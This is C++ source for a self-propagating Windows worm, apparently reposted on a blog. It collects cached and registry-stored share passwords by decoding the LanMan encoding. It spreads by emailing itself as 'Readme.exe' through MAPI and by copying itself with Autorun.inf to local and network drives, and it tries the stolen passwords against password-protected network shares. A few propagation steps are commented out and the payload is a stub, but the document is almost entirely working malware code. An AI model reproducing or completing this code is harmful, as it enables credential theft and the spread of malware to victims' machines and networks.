// ---[ w0rm.cpp ]-----------------------------[ http://harmony.haxors.com ]--//
//
// An exploration into remote network propogation using multiple techniques.
// The w0rm will spread via e-mail (MAPI) all local drives and any writable
// network shares. It collects passwords on the local system to be used in
// cracking any password protected shares on the network. It will write an
// Autorun.inf file in the root of any drives it can so when you open that
// drive, e.g. double click it the w0rm will execute and go resident :).
// This code is obviously buggy and not intended to be actually used in the
// 'real' world. To determine if the payload should be deployed the w0rm
// sits on the network and plays a 'game' with other w0rms on that network
// segment via broadcast UDP messages. see relevant source for a proper
// idea of the 'game', its just a perverse example of too much time on ones
// hands :). this is version 1.00 so the are bugs, incompatabilities with
// various flavors of windows and other anomolies - dose! but if you want
// something better write it yourself ;) (and send me a copy)
//
// "this is the end, beautiful friend" - the doors
//
// ---[ harmony :: temple of the screaming interrupt ]--[ nomelody@gmx.net ]--//
//--header-files--------------------------------------------------------------//
#include <stdio.h>
#include <windows.h>
#include <mapi.h>
#include <io.h>
#include <dos.h>
#include <conio.h>
//--defines-------------------------------------------------------------------//
#define MAX_LENGTH 128
#define MAX_RECIEVERS 50
#define MUTEX_NAME "w0rm"
#define EARTH_WORM_JIM "Readme.exe"
#define WORMGAME_PORT 12345
#define WORMGAME_MAX_WINS 10
#define WORMGAME_PKT_PLAY 0xFF
#define WORMGAME_PKT_WIN 0x80
//--globals-------------------------------------------------------------------//
char *ptrEgo, *buf;
char addressList[MAX_RECIEVERS][MAX_LENGTH], passwordList[50][MAX_LENGTH];
int index = 0;
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
BYTE abResource[1];
} PASSWORD_CACHE_ENTRY;
typedef struct WormGamePkt {
BYTE pktType;
int pktNum;
} AWORMGAMEPACKET;
//--function-declarations-----------------------------------------------------//
DWORD WINAPI WormGameThread( LPVOID );
DWORD WINAPI WormMainThread( LPVOID );
BOOL runningNT();
void propogateMAPI( void );
int initMAPI( void );
int validAddress( char * addr );
int sendMessage( int recipNum, LHANDLE lhSession );
int getSharePasswords( void );
int getCachedPasswords( void );
int addPassword( char * pwd );
void propogateDrive( void );
void attackDrive( char * drive, int type );
void propogateNet( LPNETRESOURCE lpnr );
int crackNetShare( char * share );
void releasePayload();
extern "C" int __stdcall RegisterServiceProcess( int dwProcessID, int dwType );
//--entry-point---------------------------------------------------------------//
// WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
int main( int argc, char **argv )
{
HANDLE hMutex, hEgo, hWormGameThread, hWormMainThread;
DWORD WormGameThreadId, WormMainThreadId;
// display explorer window if we need to, due to autorun.inf file :)
// test for any command line...
/* only allow one instance of worm to run on system at one time */
hMutex = CreateMutex( NULL, TRUE, MUTEX_NAME);
if( GetLastError() == ERROR_ALREADY_EXISTS )
{
ExitProcess( 0 );
}
ptrEgo = argv[0];
/* try to 'hide' the process */
if( runningNT() == TRUE )
{
// hide process in winNT
printf("WORM running on WinNT\n");
} else {
printf("WORM running on Win9x\n");
LoadLibrary( "KERNAL32.DLL" );
RegisterServiceProcess( NULL, 1);
}
/* go resident and give worm RAW power */
hEgo = GetCurrentProcess();
SetPriorityClass( hEgo, HIGH_PRIORITY_CLASS);
// create suspended WormMainThread...
hWormMainThread = CreateThread( NULL, 0, WormMainThread, 0, CREATE_SUSPENDED, &WormMainThreadId);
if( hWormMainThread != NULL )
{
// set thread to time critical... 'i wana take you higher' - sly and the family stone
//SetThreadPriority( hWormMainThread, THREAD_PRIORITY_TIME_CRITICAL);
// resume thread execution...
ResumeThread( hWormMainThread );
}
/*
// create suspended WormGameThread...
hWormGameThread = CreateThread( NULL, 0, WormGameThread, 0, CREATE_SUSPENDED, &WormGameThreadId);
if( hWormGameThread != NULL )
{
// resume thread execution...
ResumeThread( hWormGameThread );
}
*/
/* wait for hWormGameThread() to terminate */
// WaitForSingleObject( hWormGameThread, INFINITE);
WaitForSingleObject( hWormMainThread, INFINITE);
printf("MAIN_DEBUG: worm threads ended, im outa here: press a key...\n");
getch();
/* release our mutex, next local worm wont get blocked */
if( hMutex != NULL )
{
ReleaseMutex( hMutex );
}
return 0;
}
//----------------------------------------------------------------------------//
DWORD WINAPI WormMainThread( LPVOID )
{
DWORD dwSize;
char buff[64];
printf("WormMainThread: started...\n");
/* spread worm via MAPI */
propogateMAPI();
/* get any passwords we can for use later on */
getSharePasswords();
getCachedPasswords();
dwSize = 64;
WNetGetUser( NULL, buff, &dwSize );
addPassword( buff );
printf("DEBUG: total pwds got = %d\n", index);
/* spread worm via any/all localy maped drives */
propogateDrive();
/* spread worm via any/all LAN network shares */
propogateNet( NULL );
/* finished our little game :) */
ExitThread( 0 );
return 0;
}
//----------------------------------------------------------------------------//
DWORD WINAPI WormGameThread( LPVOID )
{
WSADATA w;
SOCKET s_recv, s_send;
sockaddr_in saddr, saddr_in, saddr_out;
int size = sizeof( struct sockaddr ), totalwins = 0, magicWorm = 0, optval;
AWORMGAMEPACKET gamePkt;
fd_set fd_read;
struct timeval timeout = { 5, 0 };
if( WSAStartup( MAKEWORD(1,0), &w) != 0 )
{
printf("WormThread: WSAStartup failed\n");
goto endThread;
}
s_recv = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP);
s_send = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if( s_recv == INVALID_SOCKET || s_send == INVALID_SOCKET )
{
printf("WormThread: invalid socket\n");
goto endThread;
}
memset( &saddr_in, 0x00, sizeof( struct sockaddr));
memset( &saddr, 0x00, sizeof( struct sockaddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons( WORMGAME_PORT );
saddr.sin_addr.s_addr = INADDR_ANY;
memset( &saddr_out, 0x00, sizeof( struct sockaddr) );
saddr_out.sin_family = AF_INET;
saddr_out.sin_port = htons( WORMGAME_PORT );
saddr_out.sin_addr.s_addr = INADDR_BROADCAST;
optval = 1;
if( setsockopt( s_send, SOL_SOCKET, SO_BROADCAST , (char*)&optval, sizeof( int) ) == SOCKET_ERROR )
{
printf("WormThread: setsocketopt failed\n");
goto endThread;
}
if( bind( s_recv, (struct sockaddr*)&saddr, sizeof( struct sockaddr)) == SOCKET_ERROR )
{
printf("WormThread: bind failed\n");
goto endThread;
}
FD_ZERO( &fd_read );
FD_SET( s_recv, &fd_read );
randomize();
loop:
while( 1 )
{
if( totalwins >= WORMGAME_MAX_WINS )
{
releasePayload();
totalwins = 0;
}
// pick a magic number...
magicWorm = ( ( rand() % 100 ) + 1 );
printf("WormThread: picked a magic num: %d\n", magicWorm);
// wait a length of time...
Sleep( 500 );
// send my magic number...
gamePkt.pktType = WORMGAME_PKT_PLAY;
gamePkt.pktNum = magicWorm;
if( sendto( s_send, (const char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_out, size) == SOCKET_ERROR )
{
printf("WormThread: sendto failed\n");
break;
}
// handel responces...
while( select( 0, &fd_read, NULL, NULL, &timeout) != SOCKET_ERROR )
{
if( recvfrom( s_recv, (char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_in, &size) == SOCKET_ERROR )
{
printf("WormThread: recvfrom failed\n");
break;
} else {
switch( gamePkt.pktType )
{
case WORMGAME_PKT_PLAY: // recieved a magic number...
// ignore responce from local machine...
printf("WormThread: recieved a magic num: %d\n", gamePkt.pktNum);
// process other responces
if( gamePkt.pktNum == magicWorm )
{
// notify any winners
gamePkt.pktType = WORMGAME_PKT_WIN;
saddr_out.sin_addr.s_addr = saddr_in.sin_addr.s_addr;
sendto( s_send, (const char*)&gamePkt, sizeof( struct WormGamePkt ), 0, (struct sockaddr*)&saddr_out, size);
saddr_out.sin_addr.s_addr = INADDR_BROADCAST;
}
break;
case WORMGAME_PKT_WIN: // im a winner :)
printf("WormThread: IM A WINNER!!!\n");
totalwins++;
goto loop;
default: // its all gone bugfuck!
printf("WormThread: its all gone bugfuck!\n");
break;
}
}
} // while(select...
}
endThread:
closesocket( s_recv );
closesocket( s_send );
ExitThread( 0 );
return 0;
}
//----------------------------------------------------------------------------//
BOOL runningNT()
{
OSVERSIONINFO osvi;
BOOL retval = FALSE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
switch( osvi.dwPlatformId )
{
case VER_PLATFORM_WIN32_NT:
retval = TRUE;
break;
case VER_PLATFORM_WIN32_WINDOWS:
retval = FALSE;
break;
default: // VER_PLATFORM_LINUX ? :) || VER_PLATFORM_WIN32_ANOTHERBUGGYRELEASE
retval = FALSE;
break;
}
return retval;
}
//----------------------------------------------------------------------------//
void propogateMAPI( void )
{
LHANDLE lhSession;
CHAR rgchMsgID[513];
MapiMessage *lpMessage;
int i=0;
if( initMAPI() != 0 )
{
return;
}
if( MAPILogon( 0, NULL, NULL, 0, 0, &lhSession) == SUCCESS_SUCCESS)
{
*rgchMsgID = NULL;
while( i < MAX_RECIEVERS )
{
if( MAPIFindNext( lhSession, 0L, NULL, rgchMsgID, MAPI_LONG_MSGID, 0L, rgchMsgID) != SUCCESS_SUCCESS)
{
break;
}
if( MAPIReadMail( lhSession, 0L, rgchMsgID, MAPI_PEEK, 0L, &lpMessage) == SUCCESS_SUCCESS)
{
// printf("DOING: %s\n\t%s\n",lpMessage->lpOriginator->lpszAddress,lpMessage->lpRecips->lpszAddress);
if( validAddress( lpMessage->lpOriginator->lpszAddress ) == 0 )
{
strcpy( addressList[i], lpMessage->lpOriginator->lpszAddress);
i++;
}
if( validAddress( lpMessage->lpRecips->lpszAddress ) == 0 )
{
strcpy( addressList[i], lpMessage->lpRecips->lpszAddress);
i++;
}
}
}
MAPIFreeBuffer( lpMessage );
// TO DO: sort addressList and remove duplicates...
//sendMessage( i, lhSession ); // <---- !!!!!!
MAPILogoff( lhSession, 0L, 0L, 0L);
}
for( int x = 0 ; x < i ; x++ )
{
printf("DEBUG: attacking:\t%s\n", addressList[x]);
}
return;
}
//----------------------------------------------------------------------------//
int initMAPI( void )
{
HINSTANCE hi;
LPMAPILOGON MAPILogon;
LPMAPIFINDNEXT MAPIFindNext;
LPMAPIREADMAIL MAPIReadMail;
LPMAPISENDMAIL MAPISendMail;
hi = LoadLibrary( "mapi32.dll" );
if( hi == NULL )
{
return -1;
}
MAPILogon = (LPMAPILOGON)GetProcAddress( hi, "MAPILogon");
MAPIFindNext = (LPMAPIFINDNEXT)GetProcAddress( hi, "MAPIFindNext");
MAPIReadMail = (LPMAPIREADMAIL)GetProcAddress( hi, "MAPIReadMail");
MAPISendMail = (LPMAPISENDMAIL)GetProcAddress( hi, "MAPISendMail");
if( MAPILogon == NULL || MAPIFindNext == NULL || MAPIReadMail == NULL || MAPISendMail == NULL )
{
return -1;
}
return 0;
}
//----------------------------------------------------------------------------//
int validAddress( char * addr )
{
if( strlen( addr ) >= MAX_LENGTH || strlen( addr ) == 0)
{
return -1;
} else if( strchr( addr , '@') == NULL )
{
return -1;
} else if( strchr( addr , '.') == NULL )
{
return -1;
} else {
return 0;
}
}
//----------------------------------------------------------------------------//
int sendMessage( int recipNum, LHANDLE lhSession )
{
MapiRecipDesc *recips = (MapiRecipDesc *)malloc( recipNum*sizeof(MapiRecipDesc) );
MapiFileDesc attachment = { 0, 0, (ULONG)-1, ptrEgo, EARTH_WORM_JIM, NULL};
for( int i=0 ; i<recipNum ; i++ )
{
recips[i].ulReserved = 0;
recips[i].ulRecipClass = MAPI_TO;
recips[i].lpszName = addressList[i];
recips[i].lpszAddress = addressList[i];
recips[i].ulEIDSize = 0;
recips[i].lpEntryID = NULL;
}
MapiMessage note = { 0, "The Subjext", "The Message Text", NULL, NULL, NULL, 0, NULL, recipNum, recips, 1, &attachment};
if( MAPISendMail( lhSession, 0L, ¬e, 0L, 0L) != SUCCESS_SUCCESS )
{
return -1;
}
free( recips );
return 0;
}
//----------------------------------------------------------------------------//
int CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
addPassword( buf );
return 0;
}
//----------------------------------------------------------------------------//
int getCachedPasswords( void )
{
buf = new char[1024];
HINSTANCE hi = LoadLibrary("mpr.dll");
if( hi == NULL )
{
return -1;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");
if( enp == NULL )
{
return -1;
}
enp( 0, 0, 0xff, pce, 0);
FreeLibrary( hi );
return 0;
}
//----------------------------------------------------------------------------//
BYTE rotr( BYTE b )
{
BYTE carry;
carry = b & 0x01;
carry <<= 7;
b >>= 1;
b |= carry;
return b;
}
//----------------------------------------------------------------------------//
void decodePW( char * pw )
{
BYTE hash = 0x35;
while( pw && *pw )
{
*pw = *pw ^ hash;
pw++;
hash = rotr( hash );
}
}
//----------------------------------------------------------------------------//
int addPassword( char * pwd )
{
if( (strlen(pwd) > 0) && (strlen(pwd) < MAX_LENGTH) )
{
strcpy( passwordList[ index ], pwd);
printf("DEBUG: ADDED: %s\n", passwordList[ index ]);
index++;
}
return 0;
}
//----------------------------------------------------------------------------//
int getSharePasswords( void ){
if( runningNT() == FALSE )
{
HKEY key, subkey;
DWORD i, maxKeys, len, junk;
char keyName[256], wrightPwd[256], readPwd[256];
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan", 0, NULL, &key);
RegQueryInfoKey (key, NULL, NULL, NULL, &maxKeys, NULL, NULL,NULL, NULL, NULL, NULL, NULL);
if( maxKeys != 0 )
{
for( i=0; i<maxKeys; i++ )
{
RegEnumKey(key, i, keyName, 256);
RegOpenKeyEx(key, keyName, 0, NULL, &subkey);
wrightPwd[0] = readPwd[0] = 0;
len = 256;
RegQueryValueEx(subkey, "Parm1enc", NULL, &junk, (BYTE *)wrightPwd, &len);
wrightPwd[len] = 0;
decodePW(wrightPwd);
addPassword( wrightPwd );
len = 256;
RegQueryValueEx(subkey, "Parm2enc", NULL, &junk, (BYTE *)readPwd, &len);
readPwd[len] = 0;
decodePW(readPwd);
addPassword( readPwd );
}
}
RegCloseKey(subkey);
RegCloseKey(key);
}
return 0;
}
//----------------------------------------------------------------------------//
void propogateDrive( void )
{
int length;
char buff[MAX_LENGTH], *ptr;
ptr = buff;
length = GetLogicalDriveStrings( MAX_LENGTH, ptr) ;
if( length > 0 && length < MAX_LENGTH)
{
for( int i=0 ; i<=(length/4) ; i++ )
{
switch( GetDriveType( ptr ) )
{
case DRIVE_FIXED:
// The drive is a local drive.
printf("DRIVE_FIXED: %s\n", ptr);
attackDrive( ptr, 1 );
break;
case DRIVE_REMOTE:
// The drive is a network drive.
printf("DRIVE_REMOTE: %s\n", ptr);
attackDrive( ptr, 1 );
break;
default:
break;
}
*ptr+=1;
}
}
return;
}
//----------------------------------------------------------------------------//
void attackDrive( char * drive, int type )
{
FILE *fpAutorun;
char buff[MAX_LENGTH];
// copy worm to drive, Attribute = hidden
if( type == 1 )
{
sprintf( buff, "%s%s", drive, EARTH_WORM_JIM);
} else {
sprintf( buff, "%s\\%s", drive, EARTH_WORM_JIM);
}
printf("DEBUG: propogateDrive: attacking %s\nATTACK REMOTE: %s\n", drive, buff);
/* if( CopyFile( ptrEgo, buff, FALSE) == TRUE && type == 1 )
{
// create an Autorun.inf file on drive, Attribute = hidden
sprintf( buff, "%sAutorun.inf", drive);
fpAutorun = fopen(buff, "w");
if( fpAutorun != NULL )
{
fprintf( fpAutorun, "[Autorun]\nOPEN=%s\n", EARTH_WORM_JIM);
fclose( fpAutorun );
_rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);
}
} */
return;
}
//----------------------------------------------------------------------------//
void propogateNet( LPNETRESOURCE lpnr )
{
DWORD dwResult, dwResultEnum, cbBuffer = 16384, cEntries = 0xFFFFFFFF;
HANDLE hEnum;
LPNETRESOURCE lpnrLocal;
dwResult = WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, lpnr, &hEnum);
if( dwResult != NO_ERROR )
{
return;
}
do
{
lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer);
dwResultEnum = WNetEnumResource(hEnum, &cEntries, lpnrLocal, &cbBuffer);
if ( dwResultEnum == NO_ERROR )
{
for( DWORD i = 0; i < cEntries; i++ )
{
if( RESOURCEUSAGE_CONTAINER == ( lpnrLocal[i].dwUsage & RESOURCEUSAGE_CONTAINER ) )
{
propogateNet( &lpnrLocal[i] );
} else if( RESOURCETYPE_DISK == ( lpnrLocal[i].dwUsage & RESOURCETYPE_DISK ) )
{
if( WNetAddConnection( lpnrLocal[ i ].lpRemoteName, NULL, NULL) == ERROR_INVALID_PASSWORD )
{
// try all found password/username combinations...
printf("ERROR_INVALID_PASSWORD "); printf("ATTACKING: %s\n",lpnrLocal[ i ].lpRemoteName );
if( crackNetShare( lpnrLocal[ i ].lpRemoteName ) == 0 )
{
attackDrive( lpnrLocal[i].lpRemoteName, 0 );
WNetCancelConnection( lpnrLocal[i].lpRemoteName, FALSE);
}
} else {
attackDrive( lpnrLocal[i].lpRemoteName, 0 );
WNetCancelConnection( lpnrLocal[i].lpRemoteName, FALSE);
printf("ACCESS NOT DENIED "); printf("ATTACKING: %s\n",lpnrLocal[ i ].lpRemoteName );
}
}
}
} else if( dwResultEnum != ERROR_NO_MORE_ITEMS ) {
break;
}
} while( dwResultEnum != ERROR_NO_MORE_ITEMS );
GlobalFree( (HGLOBAL) lpnrLocal );
WNetCloseEnum( hEnum );
return;
}
//----------------------------------------------------------------------------//
int crackNetShare( char * share )
{
int retval = 0;
for( int i=0 ; i<index ; i++ )
{
retval = WNetAddConnection( share , passwordList[i], NULL );
if( retval == NO_ERROR && retval != ERROR_INVALID_PASSWORD ) // <----- !!! dodgy testing, fix it
{
printf("PASS CRACKED: %s : %s\n", share , passwordList[i]);
return 0;
}
}
return -1;
}
//----------------------------------------------------------------------------//
void releasePayload()
{
printf("\n\t!!! PAYLOAD !!!\n");
return;
}
//----------------------------------------------------------------------------//
A
Thursday, October 9, 2008
A worm in cpp
Posted by egunda at 10:19 PM
Labels: Source Codes
Subscribe to:
Post Comments (Atom)
0 comments:
Post a Comment